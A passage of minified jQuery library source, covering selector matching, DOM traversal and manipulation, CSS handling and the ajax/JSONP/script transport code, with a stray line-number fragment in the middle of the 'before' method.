a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f
4
+ .clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete 